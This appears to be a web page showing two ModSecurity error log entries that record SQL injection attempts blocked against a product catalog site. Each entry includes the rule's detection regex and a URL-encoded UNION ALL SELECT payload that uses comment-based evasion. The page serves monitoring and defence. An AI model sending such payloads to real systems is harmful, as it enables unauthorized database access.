[Tue Sep 01 08:47:27.406171 2026] [security2:error] [pid 8628:tid 8635] [client 90.112.112.108:60874] [client 90.112.112.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:(?:alter|create|drop)[[:space:]]*(?:column|database|procedure|table) |delete[[:space:]] .{1,100}+ update [a-z0-9]+ set .{1,100}+=|union all select |\\\\bunion\\\\b.{1,100}?\\\\bselect\\\\b.*[a-z0-9]+ from |select (?:load_file|char ?\\\\()|(?:insert|remark)tes ..." at ARGS:sourceid. [file "/etc/apache2/conf.d/modsec2/10_asl_rules.conf"] [line "318"] [id "340144"] [rev "35"] [msg "Atomicorp.com UNSUPPORTED DELAYED Rules: Generic SQL injection protection 2"] [data "get /subscribe/show_product.php?sourceid=%29%2f**%2fand%2f**%2f%28116198647%3d116198647%2f**%2funion%2f**%2fall%2f**%2fselect%2f**%2f%27fpmchsupqtiufzetleznuugcohayctke%27%2cnull--%2f**%2fneu82d&db_type=product&itemid=62359 http/1.1"] [severity "CRITICAL"] [hostname "catalog.onesourceofnj.com"] [uri "/subscribe/show_product.php"] [unique_id "apbJXxy1TkPn_qM1r
show less
|
SQL Injection
|
|
🇫🇷
89.157.51.234
|
|
[Tue Sep 01 08:47:40.840112 2026] [security2:error] [pid 8255:tid 8542] [client 89.157.51.234:46886] ...
show more
[Tue Sep 01 08:47:40.840112 2026] [security2:error] [pid 8255:tid 8542] [client 89.157.51.234:46886] [client 89.157.51.234] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:(?:alter|create|drop)[[:space:]]*(?:column|database|procedure|table) |delete[[:space:]] .{1,100}+ update [a-z0-9]+ set .{1,100}+=|union all select |\\\\bunion\\\\b.{1,100}?\\\\bselect\\\\b.*[a-z0-9]+ from |select (?:load_file|char ?\\\\()|(?:insert|remark)tes ..." at ARGS:sourceid. [file "/etc/apache2/conf.d/modsec2/10_asl_rules.conf"] [line "318"] [id "340144"] [rev "35"] [msg "Atomicorp.com UNSUPPORTED DELAYED Rules: Generic SQL injection protection 2"] [data "get /subscribe/show_product.php?sourceid=%29%2f**%2fand%2f**%2f%2899119613%3d99119613%2f**%2funion%2f**%2fall%2f**%2fselect%2f**%2f%27fpmchsupqtiufzetleznuugcohayctke%27%2cnull--%2f**%2fneu82d&db_type=product&itemid=62359 http/1.1"] [severity "CRITICAL"] [hostname "catalog.onesourceofnj.com"] [uri "/subscribe/show_product.php"] [unique_id "apbJbIl7qGwm2t751N_cN
show less
|
SQL Injection
|